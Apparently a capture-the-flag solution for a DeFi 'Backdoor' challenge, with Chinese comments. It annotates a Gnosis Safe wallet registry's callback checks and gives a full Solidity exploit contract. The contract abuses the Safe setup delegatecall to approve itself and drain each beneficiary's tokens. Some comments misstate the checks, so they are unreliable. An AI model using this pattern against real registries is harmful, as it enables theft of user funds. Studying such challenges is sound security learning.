Backdoor

function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256)
    external
    override
{   
    // 该地址的代币余额应该大于 10 ETH
    if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { // fail early
        revert NotEnoughFunds();
    }
    // 将代理地址修改为可接受转账的 "钱包" 地址
    address payable walletAddress = payable(proxy);

    // Ensure correct factory and master copy
    // 调用者应该为钱包工厂，通过 GnosisiSafeProxyFactory调用 createProxyWithCallback 函数即可满足
    if (msg.sender != walletFactory) {
        revert CallerNotFactory();
    }
    // 
    if (singleton != masterCopy) {
        revert FakeMasterCopy();
    }

    // Ensure initial calldata was a call to `GnosisSafe::setup`
    // bytes4(initializer[:4]) 表示取前四个字节，保证 initializer中包含setup函数？
    if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
        revert InvalidInitialization();
    }

    // Ensure wallet initialization is the expected
    // 按理来说如果 walletAddress 是只经历过部署操作得来的，那么此时的 阈值=1
    uint256 threshold = GnosisSafe(walletAddress).getThreshold();
    
    // 要求阈值为 1，才能通过
    // 常规思维无疑路是被堵死的，但是我们可以冒充 GnosisSafe 合约，提供一个相同的getThreshold()函数
    if (threshold != EXPECTED_THRESHOLD) {
        revert InvalidThreshold(threshold);
    }

    // 获取代理合约中的所有owner并将其存储在数组中
    address[] memory owners = GnosisSafe(walletAddress).getOwners();

    // 要求owners的个数不为 1
    if (owners.length != EXPECTED_OWNERS_COUNT) {
        revert InvalidOwnersCount(owners.length);
    }

    // Ensure the owner is a registered beneficiary
    address walletOwner;
    unchecked {
        walletOwner = owners[0];
    }
    if (!beneficiaries[walletOwner]) { // 判断owners[0]是不是受益人
        revert OwnerIsNotABeneficiary();
    }

    address fallbackManager = _getFallbackManager(walletAddress);

    if (fallbackManager != address(0))
        revert InvalidFallbackManager(fallbackManager);

    // Remove owner as beneficiary
    beneficiaries[walletOwner] = false;

    // Register the wallet under the owner's address
    wallets[walletOwner] = walletAddress;

    // Pay tokens to the newly created wallet
    SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./WalletRegistry.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

// 其目的就是为了改变传递链中的msg.sender,使proxy成为msg.sender
contract BackdoorApprover {
    function approve(address _token, address hacker, uint256 amount) public {
        IERC20(_token).approve(hacker, amount);
    }
}

contract BackDoorHack {

    uint256  constant PAYMENT_AMOUNT = 10 ether;
    IERC20 token;
    GnosisSafeProxyFactory walletFactory;
    address singleton;
    WalletRegistry walletRegistry;
    address[4] users;
    BackdoorApprover public approver;

    constructor(
        address _token,
        address _walletFactory,
        address _singleton,
        address _walletRegistry,
        address[4] memory _users
    ){
        token = IERC20(_token);
        walletFactory = GnosisSafeProxyFactory(_walletFactory);
        singleton = _singleton;
        walletRegistry = WalletRegistry(_walletRegistry);
        users = _users;
        approver = new BackdoorApprover();
        attack();
    }


    function attack() public {
        
        // 授权操作的data
        bytes memory approve_data = abi.encodeWithSignature("approve(address,address,uint256)", token, address(this), PAYMENT_AMOUNT);

        // 用来给setup函数传参
        address[] memory owners = new address[](1);

        // 遍历每一个用户
        for (uint256 i = 0; i < users.length; i++) {

            owners[0] = users[i];

            // 初始化setup的data
            bytes memory initializer = abi.encodeWithSelector(
                GnosisSafe.setup.selector,
                owners,
                1,
                address(approver),
                approve_data,
                address(0),
                address(token),
                0,
                payable(address(msg.sender)));
                
            GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(singleton, initializer, i, walletRegistry); 

            token.transferFrom(address(proxy), msg.sender, PAYMENT_AMOUNT);
        }
    }
}